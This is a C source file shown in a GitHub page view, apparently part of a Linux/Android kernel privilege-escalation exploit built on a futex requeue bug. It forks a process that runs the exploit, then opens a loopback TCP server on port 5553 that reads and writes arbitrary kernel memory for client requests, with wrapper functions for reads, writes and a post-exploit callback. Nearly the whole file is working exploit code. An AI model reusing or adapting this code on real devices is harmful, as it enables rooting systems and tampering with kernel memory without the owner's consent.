-
Notifications
You must be signed in to change notification settings - Fork 21
/
futex.c
278 lines (214 loc) · 5.21 KB
/
futex.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "futex.h"
#include "exploit_utils.h"
#define REQUEST_MAGIC 0x5553fd1c
#define RESULT_MAGIC 0x34cc98fa
#define SERVER_PORT 5553
#define KERNEL_START 0xc0000000
#define KERNEL_END 0xc7ffffff
struct kernel_memory_request_t {
int magic;
bool do_write_to_kernel;
unsigned long address;
int count;
};
static int server_socket = -1;
static bool create_server_socket(void)
{
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int fd;
if (server_socket >= 0) {
return;
}
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void *)&yes, sizeof yes);
addr.sin_family = AF_INET;
addr.sin_port = htons(SERVER_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (bind(sockfd, (struct sockaddr *)&addr, sizeof addr) != 0) {
close(sockfd);
return false;
}
if (listen(sockfd, 1) != 0) {
close(sockfd);
return false;
}
server_socket = sockfd;
return true;
}
static void
process_kernel_memory_request(int req_fd)
{
struct kernel_memory_request_t req;
static unsigned long values[FUTEX_REQUEUE_MAX_REQUEST_COUNT];
int size;
if (recv(req_fd, &req, sizeof req, 0) != sizeof (req)) {
printf("Request read error\n");
goto error_exit;
}
if (req.magic != REQUEST_MAGIC) {
printf("Wrong magic\n");
goto error_exit;
}
if (req.count <= 0 || req.count > FUTEX_REQUEUE_MAX_REQUEST_COUNT) {
printf("Wrong request\n");
goto error_exit;
}
size = sizeof (*values) * req.count;
if (req.address < KERNEL_START || req.address + size - 1 > KERNEL_END) {
printf("Wrong address\n");
goto error_exit;
}
if (req.do_write_to_kernel) {
if (recv(req_fd, values, size, 0) != size) {
goto error_exit;
}
if (write_kernel_memory_by_pipe(req.address, values, size) != size) {
goto error_exit;
}
req.magic = RESULT_MAGIC;
send(req_fd, &req, sizeof req, 0);
}
else {
if (read_kernel_memory_by_pipe(req.address, values, size) != size) {
goto error_exit;
}
req.magic = RESULT_MAGIC;
send(req_fd, &req, sizeof req, 0);
send(req_fd, values, size, 0);
}
error_exit:
protect_from_oom_killer();
}
void
futex_process_kernel_memory_requests(void)
{
printf("futex_exploit: Server started\n");
#ifndef DEBUG
close(0);
close(1);
close(2);
#endif
while (1) {
int fd;
fd = accept(server_socket, NULL, NULL);
if (fd >= 0) {
process_kernel_memory_request(fd);
}
close(fd);
}
}
static void
init_futex_exploit(void)
{
pid_t pid;
if (!create_server_socket()) {
return;
}
#ifdef DEBUG
printf("Server port ready\n");
#endif
pid = fork();
if (pid > 0) {
close(server_socket);
return;
}
if (futex_exploit_main()) {
close(server_socket);
return;
}
}
static bool send_kernel_memory_request(struct kernel_memory_request_t *req, int *values)
{
int sockfd;
struct sockaddr_in addr = {0};
int size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed\n");
return false;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(SERVER_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof addr) < 0) {
printf("connect(): failed\n");
return false;
}
size = sizeof (*values) * req->count;
req->magic = REQUEST_MAGIC;
if (write(sockfd, req, sizeof (*req)) != sizeof (*req)) {
goto error_exit;
}
if (req->do_write_to_kernel) {
if (write(sockfd, values, size) != size) {
goto error_exit;
}
}
if (read(sockfd, req, sizeof (*req)) != sizeof (*req)) {
goto error_exit;
}
if (req->magic != RESULT_MAGIC) {
goto error_exit;
}
if (!req->do_write_to_kernel) {
if (read(sockfd, values, size) != size) {
goto error_exit;
}
}
close(sockfd);
return true;
error_exit:
close(sockfd);
return false;
}
bool
futex_read_values_at_address(unsigned long address, int *values, int count)
{
struct kernel_memory_request_t req;
bool result = false;
init_futex_exploit();
memset(&req, 0, sizeof req);
memset(values, 0, sizeof (*values) * count);
req.do_write_to_kernel = false;
req.address = address;
req.count = count;
return send_kernel_memory_request(&req, values);
}
bool
futex_write_values_at_address(unsigned long address, const int *values, int count)
{
struct kernel_memory_request_t req;
bool result = false;
init_futex_exploit();
memset(&req, 0, sizeof req);
req.do_write_to_kernel = true;
req.address = address;
req.count = count;
return send_kernel_memory_request(&req, (void *)values);
}
bool
futex_read_value_at_address(unsigned long address, int *value)
{
return futex_read_values_at_address(address, value, 1);
}
bool
futex_write_value_at_address(unsigned long address, int value)
{
return futex_write_values_at_address(address, &value, 1);
}
bool
futex_run_exploit(unsigned long int address, int value,
bool(*exploit_callback)(void* user_data), void *user_data)
{
if (!futex_write_value_at_address(address, value)) {
return false;
}
return exploit_callback(user_data);
}